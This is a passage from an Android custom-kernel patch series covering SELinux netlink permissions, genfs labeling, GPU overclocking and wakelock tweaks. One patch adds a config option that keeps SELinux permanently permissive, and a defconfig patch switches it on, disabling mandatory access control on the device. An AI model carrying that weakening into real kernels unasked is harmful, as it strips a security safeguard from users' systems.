NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, }; From b3af3b926fe286cfc646f7527ad5f8c36bce3383 Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Fri, 10 Apr 2015 16:24:26 +0200 Subject: [PATCH 339/365] selinux/nlmsg: add XFRM_MSG_REPORT commit b0b59b0056acd6f157a04cc895f7e24692fb08aa upstream (net-next). This command is missing. Change-Id: I8fa3b1b9815296d3b001244d2212f79f5654bd01 Fixes: 97a64b4577ae ("[XFRM]: Introduce XFRM_MSG_REPORT.") Reported-by: Stephen Smalley Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 1 + 1 file changed, 1 insertion(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index 44b114169f8db..203b93ec419d2 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -101,6 +101,7 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_REPORT, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, From 3e78595f269ee8f3f0217d2c3f515966e78c310a Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Fri, 10 Apr 2015 16:24:27 +0200 Subject: [PATCH 340/365] selinux/nlmsg: add XFRM_MSG_MIGRATE commit 8d465bb777179c4bea731b828ec484088cc9fbc1 upstream (net-next). This command is missing. Change-Id: Id2c9344ca1ab2c96e0b758ad1efb38e16cf23b86 Fixes: 5c79de6e79cd ("[XFRM]: User interface for handling XFRM_MSG_MIGRATE") Reported-by: Stephen Smalley Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 1 + 1 file changed, 1 insertion(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index 203b93ec419d2..9acedfac612e2 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -102,6 +102,7 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_REPORT, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_MIGRATE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, From f372d3b0bf03f711bf103725f649fc69eeca496b Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Fri, 10 Apr 2015 16:24:28 +0200 Subject: [PATCH 341/365] selinux/nlmsg: add XFRM_MSG_MAPPING commit bd2cba07381a6dba60bc1c87ed8b37931d244da1 upstream (net-next). This command is missing. Change-Id: Ida52130382e42355e5f3b39134aa61a1ea98026d Fixes: 3a2dfbe8acb1 ("xfrm: Notify changes in UDP encapsulation via netlink") CC: Martin Willi Reported-by: Stephen Smalley Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 1 + 1 file changed, 1 insertion(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index 9acedfac612e2..dd28eb2af2bb3 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -107,6 +107,7 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_MAPPING, NETLINK_XFRM_SOCKET__NLMSG_READ }, }; static struct nlmsg_perm nlmsg_audit_perms[] = From 103256dbebb5b906d549f4441b686982a4863217 Mon Sep 17 00:00:00 2001 From: Joe Perches Date: Mon, 23 Mar 2015 18:01:35 -0700 Subject: [PATCH 342/365] selinux: fix sel_write_enforce broken return value commit 6436a123a147db51a0b06024a8350f4c230e73ff upstream. Return a negative error value like the rest of the entries in this function. Signed-off-by: Joe Perches Acked-by: Stephen Smalley [PM: tweaked subject line] Signed-off-by: Paul Moore Signed-off-by: Greg Kroah-Hartman --- security/selinux/selinuxfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/selinux/selinuxfs.c b/security/selinux/selinuxfs.c index 86f969437f5d9..a96bed4db3e8a 100644 --- a/security/selinux/selinuxfs.c +++ b/security/selinux/selinuxfs.c @@ -150,7 +150,7 @@ static ssize_t sel_write_enforce(struct file *file, const char __user *buf, goto out; /* No partial writes. */ - length = EINVAL; + length = -EINVAL; if (*ppos != 0) goto out; From feed692398161d08ec2db11b54e60a309cea6344 Mon Sep 17 00:00:00 2001 From: Stephen Smalley Date: Tue, 19 May 2015 13:59:12 -0400 Subject: [PATCH 343/365] selinux: enable per-file labeling for debugfs files. upstream commit 6f29997f4a3117169eeabd41dbea4c1bd94a739c Add support for per-file labeling of debugfs files so that we can distinguish them in policy. This is particularly important in Android where certain debugfs files have to be writable by apps and therefore the debugfs directory tree can be read and searched by all. Since debugfs is entirely kernel-generated, the directory tree is immutable by userspace, and the inodes are pinned in memory, we can simply use the same approach as with proc and label the inodes from policy based on pathname from the root of the debugfs filesystem. Generalize the existing labeling support used for proc and reuse it for debugfs too. [sds: Back-ported to 3.10. superblock_security_struct flags field is only unsigned char in 3.10 so we have to redefine SE_SBGENFS. However, this definition is kernel-private, not exposed to userspace or stored anywhere persistent.] Change-Id: I6460fbed6bb6bd36eb8554ac8c4fdd574edf3b07 Signed-off-by: Stephen Smalley --- security/selinux/hooks.c | 43 ++++++++++++++--------------- security/selinux/include/security.h | 1 + 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 9c957caa5bb09..0920889430975 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -708,7 +708,10 @@ static int selinux_set_mnt_opts(struct super_block *sb, } if (strcmp(sb->s_type->name, "proc") == 0) - sbsec->flags |= SE_SBPROC; + sbsec->flags |= SE_SBPROC | SE_SBGENFS; + + if (strcmp(sb->s_type->name, "debugfs") == 0) + sbsec->flags |= SE_SBGENFS; /* Determine the labeling behavior to use for this filesystem type. */ rc = security_fs_use((sbsec->flags & SE_SBPROC) ? "proc" : sb->s_type->name, &sbsec->behavior, &sbsec->sid); @@ -1193,12 +1196,13 @@ static inline u16 socket_type_to_security_class(int family, int type, int protoc return SECCLASS_SOCKET; } -#ifdef CONFIG_PROC_FS -static int selinux_proc_get_sid(struct dentry *dentry, - u16 tclass, - u32 *sid) +static int selinux_genfs_get_sid(struct dentry *dentry, + u16 tclass, + u16 flags, + u32 *sid) { int rc; + struct super_block *sb = dentry->d_inode->i_sb; char *buffer, *path; buffer = (char *)__get_free_page(GFP_KERNEL); @@ -1209,26 +1213,20 @@ static int selinux_proc_get_sid(struct dentry *dentry, if (IS_ERR(path)) rc = PTR_ERR(path); else { - /* each process gets a /proc/PID/ entry. Strip off the - * PID part to get a valid selinux labeling. - * e.g. /proc/1/net/rpc/nfs -> /net/rpc/nfs */ - while (path[1] >= '0' && path[1] <= '9') { - path[1] = '/'; - path++; + if (flags & SE_SBPROC) { + /* each process gets a /proc/PID/ entry. Strip off the + * PID part to get a valid selinux labeling. + * e.g. /proc/1/net/rpc/nfs -> /net/rpc/nfs */ + while (path[1] >= '0' && path[1] <= '9') { + path[1] = '/'; + path++; + } } - rc = security_genfs_sid("proc", path, tclass, sid); + rc = security_genfs_sid(sb->s_type->name, path, tclass, sid); } free_page((unsigned long)buffer); return rc; } -#else -static int selinux_proc_get_sid(struct dentry *dentry, - u16 tclass, - u32 *sid) -{ - return -EINVAL; -} -#endif /* The inode's security attributes must be initialized before first use. */ static int inode_doinit_with_dentry(struct inode *inode, struct dentry *opt_dentry) @@ -1383,7 +1381,7 @@ static int inode_doinit_with_dentry(struct inode *inode, struct dentry *opt_dent /* Default to the fs superblock SID. */ isec->sid = sbsec->sid; - if ((sbsec->flags & SE_SBPROC) && !S_ISLNK(inode->i_mode)) { + if ((sbsec->flags & SE_SBGENFS) && !S_ISLNK(inode->i_mode)) { /* We must have a dentry to determine the label on * procfs inodes */ if (opt_dentry) @@ -1406,7 +1404,8 @@ static int inode_doinit_with_dentry(struct inode *inode, struct dentry *opt_dent if (!dentry) goto out_unlock; isec->sclass = inode_mode_to_security_class(inode->i_mode); - rc = selinux_proc_get_sid(dentry, isec->sclass, &sid); + rc = selinux_genfs_get_sid(dentry, isec->sclass, + sbsec->flags, &sid); dput(dentry); if (rc) goto out_unlock; diff --git a/security/selinux/include/security.h b/security/selinux/include/security.h index eb25aa9fb3135..c290ec31a75c8 100644 --- a/security/selinux/include/security.h +++ b/security/selinux/include/security.h @@ -55,6 +55,7 @@ #define SE_SBINITIALIZED 0x10 #define SE_SBPROC 0x20 #define SE_SBLABELSUPP 0x40 +#define SE_SBGENFS 0x80 #define CONTEXT_STR "context=" #define FSCONTEXT_STR "fscontext=" From 9db3d26f548e752044c0c2e4cc3f030ea879a5da Mon Sep 17 00:00:00 2001 From: Stephen Smalley Date: Wed, 20 May 2015 12:33:16 -0400 Subject: [PATCH 344/365] selinux: enable genfscon labeling for sysfs and pstore files Support per-file labeling of sysfs and pstore files based on genfscon policy entries. This is safe because the sysfs and pstore directory tree cannot be manipulated by userspace, except to unlink pstore entries. This provides an alternative method of assigning per-file labeling to sysfs or pstore files without needing to set the labels from userspace on each boot. The advantages of this approach are that the labels are assigned as soon as the dentry is first instantiated and userspace does not need to walk the sysfs or pstore tree and set the labels on each boot. The limitations of this approach are that the labels can only be assigned based on pathname prefix matching. You can initially assign labels using this mechanism and then change them at runtime via setxattr if allowed to do so by policy. Change-Id: If5999785fdc1d24d869b23ae35cd302311e94562 Signed-off-by: Stephen Smalley Suggested-by: Dominick Grift --- security/selinux/hooks.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 0920889430975..25badda95288b 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -710,7 +710,9 @@ static int selinux_set_mnt_opts(struct super_block *sb, if (strcmp(sb->s_type->name, "proc") == 0) sbsec->flags |= SE_SBPROC | SE_SBGENFS; - if (strcmp(sb->s_type->name, "debugfs") == 0) + if (!strcmp(sb->s_type->name, "debugfs") || + !strcmp(sb->s_type->name, "sysfs") || + !strcmp(sb->s_type->name, "pstore")) sbsec->flags |= SE_SBGENFS; /* Determine the labeling behavior to use for this filesystem type. */ From 0ae837fda280a482d413a7bcd34bd1219232097a Mon Sep 17 00:00:00 2001 From: James Christopher Adduono Date: Mon, 25 Apr 2016 22:17:27 -0400 Subject: [PATCH 345/365] SELinux forced permissive/enforcing patch --- security/selinux/Kconfig | 24 ++++++++++++++++++++++++ security/selinux/hooks.c | 14 ++++++++++++++ security/selinux/include/avc.h | 2 +- security/selinux/selinuxfs.c | 6 ++++++ 4 files changed, 45 insertions(+), 1 deletion(-) diff --git a/security/selinux/Kconfig b/security/selinux/Kconfig index bca1b74a4a2f2..1ccb7ce550e2a 100644 --- a/security/selinux/Kconfig +++ b/security/selinux/Kconfig @@ -65,6 +65,20 @@ config SECURITY_SELINUX_DEVELOP can interactively toggle the kernel between enforcing mode and permissive mode (if permitted by the policy) via /selinux/enforce. +config SECURITY_SELINUX_ALWAYS_ENFORCE + bool "NSA SELinux Always Enforcing" + depends on SECURITY_SELINUX_DEVELOP + default n + help + This option will prevent anything from setting SELinux to permissive. + +config SECURITY_SELINUX_NEVER_ENFORCE + bool "NSA SELinux Never Enforcing" + depends on SECURITY_SELINUX_DEVELOP + default n + help + This option will prevent anything from setting SELinux to enforcing. + config SECURITY_SELINUX_AVC_STATS bool "NSA SELinux AVC Statistics" depends on SECURITY_SELINUX @@ -74,6 +88,16 @@ config SECURITY_SELINUX_AVC_STATS /selinux/avc/cache_stats, which may be monitored via tools such as avcstat. +config SECURITY_SELINUX_ENFORCING + int "NSA SELinux Enforcing default value" + depends on SECURITY_SELINUX && !SECURITY_SELINUX_DEVELOP + range 0 1 + default 1 + help + This option sets the value of selinux_enforcing, permanently + deciding whether the kernel should run in enforcing or + permissive mode. + config SECURITY_SELINUX_CHECKREQPROT_VALUE int "NSA SELinux checkreqprot default value" depends on SECURITY_SELINUX diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 25badda95288b..169baa83733d6 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -109,9 +109,15 @@ int selinux_enforcing; static int __init enforcing_setup(char *str) { +#if defined(CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE) + selinux_enforcing = 1; +#elif defined(CONFIG_SECURITY_SELINUX_NEVER_ENFORCE) + selinux_enforcing = 0; +#else unsigned long enforcing; if (!strict_strtoul(str, 0, &enforcing)) selinux_enforcing = enforcing ? 1 : 0; +#endif return 1; } __setup("enforcing=", enforcing_setup); @@ -122,9 +128,13 @@ int selinux_enabled = CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE; static int __init selinux_enabled_setup(char *str) { +#ifdef CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE + selinux_enabled = 1; +#else unsigned long enabled; if (!strict_strtoul(str, 0, &enabled)) selinux_enabled = enabled ? 1 : 0; +#endif return 1; } __setup("selinux=", selinux_enabled_setup); @@ -6085,7 +6095,11 @@ static struct security_operations selinux_ops = { static __init int selinux_init(void) { if (!security_module_enable(&selinux_ops)) { +#ifdef CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE + selinux_enabled = 1; +#else selinux_enabled = 0; +#endif return 0; } diff --git a/security/selinux/include/avc.h b/security/selinux/include/avc.h index 6d65f77fd8008..a99b77e54b5fc 100644 --- a/security/selinux/include/avc.h +++ b/security/selinux/include/avc.h @@ -22,7 +22,7 @@ #ifdef CONFIG_SECURITY_SELINUX_DEVELOP extern int selinux_enforcing; #else -#define selinux_enforcing 1 +#define selinux_enforcing CONFIG_SECURITY_SELINUX_ENFORCING #endif /* diff --git a/security/selinux/selinuxfs.c b/security/selinux/selinuxfs.c index a96bed4db3e8a..3c1917adcd4d4 100644 --- a/security/selinux/selinuxfs.c +++ b/security/selinux/selinuxfs.c @@ -167,6 +167,12 @@ static ssize_t sel_write_enforce(struct file *file, const char __user *buf, if (sscanf(page, "%d", &new_value) != 1) goto out; +#if defined(CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE) + new_value = 1; +#elif defined(CONFIG_SECURITY_SELINUX_NEVER_ENFORCE) + new_value = 0; +#endif + if (new_value != selinux_enforcing) { length = task_has_security(current, SECURITY__SETENFORCE); if (length) From 43ce16084bfda03a1fdbcb75d79f7ac9fe8f0741 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Tue, 20 Dec 2016 12:10:19 +0530 Subject: [PATCH 346/365] defconfig: set selinux to permissive --- arch/arm/configs/zetsubou_defconfig | 2 ++ 1 file changed, 2 insertions(+) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index a970db87cc498..17f94158a9a3f 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -3701,6 +3701,8 @@ CONFIG_SECURITY_SELINUX=y # CONFIG_SECURITY_SELINUX_BOOTPARAM is not set # CONFIG_SECURITY_SELINUX_DISABLE is not set CONFIG_SECURITY_SELINUX_DEVELOP=y +# CONFIG_SECURITY_SELINUX_ALWAYS_ENFORCE is not set +CONFIG_SECURITY_SELINUX_NEVER_ENFORCE=y CONFIG_SECURITY_SELINUX_AVC_STATS=y CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1 # CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set From f66c4d32b233e850d6f2ed2de7fb6ad45d81de25 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 26 Dec 2016 10:46:19 +0530 Subject: [PATCH 347/365] msm8916: fix GPU OC Add proper OC frequency of 620MHz and remove 550MHz. 930/1.5 = 630 where 930MHz is the max rate 0f gpll2 --- arch/arm/boot/dts/qcom/msm8916-gpu.dtsi | 42 +++++++++---------------- drivers/clk/qcom/clock-gcc-8916.c | 14 ++++----- 2 files changed, 21 insertions(+), 35 deletions(-) diff --git a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi index 9c2a59d58922f..e458381c5818d 100644 --- a/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-gpu.dtsi @@ -27,7 +27,7 @@ qcom,chipid = <0x03000600>; - qcom,initial-pwrlevel = <4>; + qcom,initial-pwrlevel = <3>; /* Idle Timeout = msec */ qcom,idle-timeout = <80>; @@ -85,42 +85,36 @@ qcom,gpu-pwrlevel@0 { reg = <0>; - qcom,gpu-freq = <650000000>; + qcom,gpu-freq = <620000000>; qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@1 { reg = <1>; - qcom,gpu-freq = <550000000>; - qcom,bus-freq = <3>; + qcom,gpu-freq = <465000000>; + qcom,bus-freq = <2>; }; qcom,gpu-pwrlevel@2 { reg = <2>; - qcom,gpu-freq = <465000000>; - qcom,bus-freq = <2>; + qcom,gpu-freq = <310000000>; + qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@3 { reg = <3>; - qcom,gpu-freq = <310000000>; + qcom,gpu-freq = <200000000>; qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@4 { reg = <4>; - qcom,gpu-freq = <200000000>; + qcom,gpu-freq = <100000000>; qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@5 { reg = <5>; - qcom,gpu-freq = <100000000>; - qcom,bus-freq = <1>; - }; - - qcom,gpu-pwrlevel@6 { - reg = <6>; qcom,gpu-freq = <19200000>; qcom,bus-freq = <0>; }; @@ -147,42 +141,36 @@ qcom,gpu-pwrlevel@0 { reg = <0>; - qcom,gpu-freq = <650000000>; + qcom,gpu-freq = <620000000>; qcom,bus-freq = <3>; }; qcom,gpu-pwrlevel@1 { reg = <1>; - qcom,gpu-freq = <550000000>; - qcom,bus-freq = <3>; + qcom,gpu-freq = <465000000>; + qcom,bus-freq = <2>; }; qcom,gpu-pwrlevel@2 { reg = <2>; - qcom,gpu-freq = <465000000>; - qcom,bus-freq = <2>; + qcom,gpu-freq = <310000000>; + qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@3 { reg = <3>; - qcom,gpu-freq = <310000000>; + qcom,gpu-freq = <200000000>; qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@4 { reg = <4>; - qcom,gpu-freq = <200000000>; + qcom,gpu-freq = <100000000>; qcom,bus-freq = <1>; }; qcom,gpu-pwrlevel@5 { reg = <5>; - qcom,gpu-freq = <100000000>; - qcom,bus-freq = <1>; - }; - - qcom,gpu-pwrlevel@6 { - reg = <6>; qcom,gpu-freq = <19200000>; qcom,bus-freq = <0>; }; diff --git a/drivers/clk/qcom/clock-gcc-8916.c b/drivers/clk/qcom/clock-gcc-8916.c index 34087c71270d5..2d6744e4bbf4a 100644 --- a/drivers/clk/qcom/clock-gcc-8916.c +++ b/drivers/clk/qcom/clock-gcc-8916.c @@ -577,7 +577,7 @@ static struct rcg_clk vfe0_clk_src = { }, }; -static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_465_clk[] = { +static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_620_clk[] = { F( 19200000, xo, 1, 0, 0), F( 50000000, gpll0_aux, 16, 0, 0), F( 80000000, gpll0_aux, 10, 0, 0), @@ -590,8 +590,7 @@ static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_465_clk[] = { F( 310000000, gpll2, 3, 0, 0), F( 400000000, gpll0_aux, 2, 0, 0), F( 465000000, gpll2, 2, 0, 0), - F( 550000000, gpll2, 2, 0, 0), - F( 650000000, gpll2, 2, 0, 0), + F( 620000000, gpll2, 1.5, 0, 0), F_END }; @@ -608,8 +607,7 @@ static struct clk_freq_tbl ftbl_gcc_oxili_gfx3d_clk[] = { F( 310000000, gpll2, 3, 0, 0), F( 400000000, gpll0_aux, 2, 0, 0), F( 465000000, gpll2, 2, 0, 0), - F( 550000000, gpll2, 2, 0, 0), - F( 650000000, gpll2, 2, 0, 0), + F( 620000000, gpll2, 1.5, 0, 0), F_END }; @@ -623,7 +621,7 @@ static struct rcg_clk gfx3d_clk_src = { .dbg_name = "gfx3d_clk_src", .ops = &clk_ops_rcg, VDD_DIG_FMAX_MAP3(LOW, 100000000, NOMINAL, 310000000, HIGH, - 650000000), + 620000000), CLK_INIT(gfx3d_clk_src.c), }, }; @@ -2806,8 +2804,8 @@ static void gcc_gfx3d_fmax(struct platform_device *pdev) pr_info("%s, Version: %d, bin: %d\n", __func__, version, bin); - gfx3d_clk_src.c.fmax[VDD_DIG_HIGH] = 465000000; - gfx3d_clk_src.freq_tbl = ftbl_gcc_oxili_gfx3d_465_clk; + gfx3d_clk_src.c.fmax[VDD_DIG_HIGH] = 620000000; + gfx3d_clk_src.freq_tbl = ftbl_gcc_oxili_gfx3d_620_clk; } static int msm_gcc_probe(struct platform_device *pdev) From 5fbe19b883f2a53aa26198f3a882187d43302812 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Sat, 24 Dec 2016 11:03:19 +0530 Subject: [PATCH 348/365] anykernel: add zetsubou ascii art ;) --- .../META-INF/com/google/android/update-binary | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/AnyKernel2/META-INF/com/google/android/update-binary b/AnyKernel2/META-INF/com/google/android/update-binary index 6c6ba68cc8a9c..36c4422c2ed0c 100755 --- a/AnyKernel2/META-INF/com/google/android/update-binary +++ b/AnyKernel2/META-INF/com/google/android/update-binary @@ -36,6 +36,21 @@ fi; chmod -R 755 /tmp/anykernel/tools /tmp/anykernel/bin; bb=/tmp/anykernel/tools/busybox; +ui_print " "; +ui_print " "; +ui_print " __ __ "; +ui_print " ____ ___ / /_ _____ __ __ / /_ ____ __ __"; +ui_print "/_ / / _ \ / __// ___// / / // __ \ / __ \ / / / /"; +ui_print " / /_/ __// /_ (__ )/ /_/ // /_/ // /_/ // /_/ / "; +ui_print "/___/\___/ \__//____/ \__,_//_.___/ \____/ \__,_/ "; +ui_print " __ __"; +ui_print " / /__ ___ _____ ____ ___ / /"; +ui_print " / //_// _ \ / ___// __ \ / _ \ / / "; +ui_print " / ,< / __// / / / / // __// / "; +ui_print " /_/|_| \___//_/ /_/ /_/ \___//_/ "; +ui_print " "; +ui_print " "; + ui_print "$(file_getprop /tmp/anykernel/anykernel.sh kernel.string)"; ui_print " "; ui_print "AnyKernel2 by osm0sis @ xda-developers"; From 9ac4307ac4695a7ced67633d4e2472b46523d3b1 Mon Sep 17 00:00:00 2001 From: flar2 Date: Sat, 5 Dec 2015 21:12:48 -0500 Subject: [PATCH 349/365] msm_performance: Make input boosting optional --- drivers/soc/qcom/msm_performance.c | 35 +++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/drivers/soc/qcom/msm_performance.c b/drivers/soc/qcom/msm_performance.c index 1b63b5204cb91..d0e2c69260183 100644 --- a/drivers/soc/qcom/msm_performance.c +++ b/drivers/soc/qcom/msm_performance.c @@ -21,6 +21,8 @@ #include +static int touchboost = 1; + static struct mutex managed_cpus_lock; /* Maximum number to clusters that this module will manage*/ @@ -48,6 +50,29 @@ static DEFINE_PER_CPU(struct cpu_status, cpu_stats); static unsigned int num_online_managed(struct cpumask *mask); static int init_cluster_control(void); +static int set_touchboost(const char *buf, const struct kernel_param *kp) +{ + int val; + + if (sscanf(buf, "%d\n", &val) != 1) + return -EINVAL; + + touchboost = val; + + return 0; +} + +static int get_touchboost(char *buf, const struct kernel_param *kp) +{ + return snprintf(buf, PAGE_SIZE, "%d", touchboost); +} + +static const struct kernel_param_ops param_ops_touchboost = { + .set = set_touchboost, + .get = get_touchboost, +}; +device_param_cb(touchboost, ¶m_ops_touchboost, NULL, 0644); + static int set_num_clusters(const char *buf, const struct kernel_param *kp) { unsigned int val; @@ -237,6 +262,10 @@ static int set_cpu_min_freq(const char *buf, const struct kernel_param *kp) struct cpufreq_policy policy; cpumask_var_t limit_mask; int ret; + const char *reset = "0:0 4:0"; + + if (touchboost == 0) + cp = reset; while ((cp = strpbrk(cp + 1, " :"))) ntokens++; @@ -245,7 +274,11 @@ static int set_cpu_min_freq(const char *buf, const struct kernel_param *kp) if (!(ntokens % 2)) return -EINVAL; - cp = buf; + if (touchboost == 0) + cp = reset; + else + cp = buf; + cpumask_clear(limit_mask); for (i = 0; i < ntokens; i += 2) { if (sscanf(cp, "%u:%u", &cpu, &val) != 2) From 848d1e3aa3da1a4ca21256d48aa4cfc55d3d35bc Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 26 Dec 2016 11:04:10 +0530 Subject: [PATCH 350/365] Revert "wakeup: add toggles for wlan wakelocks" This reverts commit 53917bb9804f33435646fe37f3cd43645747d99a. --- drivers/base/power/wakeup.c | 27 --------------------------- 1 file changed, 27 deletions(-) diff --git a/drivers/base/power/wakeup.c b/drivers/base/power/wakeup.c index 33caf513c69eb..14021720f1094 100644 --- a/drivers/base/power/wakeup.c +++ b/drivers/base/power/wakeup.c @@ -15,18 +15,6 @@ #include #include #include -#include - -static bool enable_si_ws = true; -module_param(enable_si_ws, bool, 0644); -static bool enable_msm_hsic_ws = true; -module_param(enable_msm_hsic_ws, bool, 0644); -static bool wlan_rx_wake = true; -module_param(wlan_rx_wake, bool, 0644); -static bool wlan_ctrl_wake = true; -module_param(wlan_ctrl_wake, bool, 0644); -static bool wlan_wake = true; -module_param(wlan_wake, bool, 0644); #include "power.h" @@ -422,21 +410,6 @@ EXPORT_SYMBOL_GPL(device_set_wakeup_enable); static void wakeup_source_activate(struct wakeup_source *ws) { unsigned int cec; - - if (!enable_si_ws && !strcmp(ws->name, "sensor_ind")) - return; - - if (!enable_msm_hsic_ws && !strcmp(ws->name, "msm_hsic_host")) - return; - - if (!wlan_rx_wake && !strcmp(ws->name, "wlan_rx_wake")) - return; - - if (!wlan_ctrl_wake && !strcmp(ws->name, "wlan_ctrl_wake")) - return; - - if (!wlan_wake && !strcmp(ws->name, "wlan_wake")) - return; /* * active wakeup source should bring the system From d02dd6e5dd339df57aa4fbca9012a159ff9ad8df Mon Sep 17 00:00:00 2001 From: Francisco Franco Date: Wed, 2 Nov 2016 11:10:50 +0530 Subject: [PATCH 351/365] power: wakeup: prevent IPA_WS wakelock from being acquired by default Signed-off-by: Francisco Franco --- drivers/base/power/wakeup.c | 145 +++++++++++++++++++----------------- 1 file changed, 78 insertions(+), 67 deletions(-) diff --git a/drivers/base/power/wakeup.c b/drivers/base/power/wakeup.c index 14021720f1094..864e2b2a21c49 100644 --- a/drivers/base/power/wakeup.c +++ b/drivers/base/power/wakeup.c @@ -14,10 +14,14 @@ #include #include #include +#include #include #include "power.h" +static bool enable_ipa_ws = false; +module_param(enable_ipa_ws, bool, 0644); + /* * If set, the suspend/hibernate code will abort transitions to a sleep state * if wakeup events are registered during or immediately before the transition. @@ -371,6 +375,73 @@ int device_set_wakeup_enable(struct device *dev, bool enable) } EXPORT_SYMBOL_GPL(device_set_wakeup_enable); +#ifdef CONFIG_PM_AUTOSLEEP +static void update_prevent_sleep_time(struct wakeup_source *ws, ktime_t now) +{ + ktime_t delta = ktime_sub(now, ws->start_prevent_time); + ws->prevent_sleep_time = ktime_add(ws->prevent_sleep_time, delta); +} +#else +static inline void update_prevent_sleep_time(struct wakeup_source *ws, + ktime_t now) {} +#endif + +/** + * wakup_source_deactivate - Mark given wakeup source as inactive. + * @ws: Wakeup source to handle. + * + * Update the @ws' statistics and notify the PM core that the wakeup source has + * become inactive by decrementing the counter of wakeup events being processed + * and incrementing the counter of registered wakeup events. + */ +static void wakeup_source_deactivate(struct wakeup_source *ws) +{ + unsigned int cnt, inpr, cec; + ktime_t duration; + ktime_t now; + + ws->relax_count++; + /* + * __pm_relax() may be called directly or from a timer function. + * If it is called directly right after the timer function has been + * started, but before the timer function calls __pm_relax(), it is + * possible that __pm_stay_awake() will be called in the meantime and + * will set ws->active. Then, ws->active may be cleared immediately + * by the __pm_relax() called from the timer function, but in such a + * case ws->relax_count will be different from ws->active_count. + */ + if (ws->relax_count != ws->active_count) { + ws->relax_count--; + return; + } 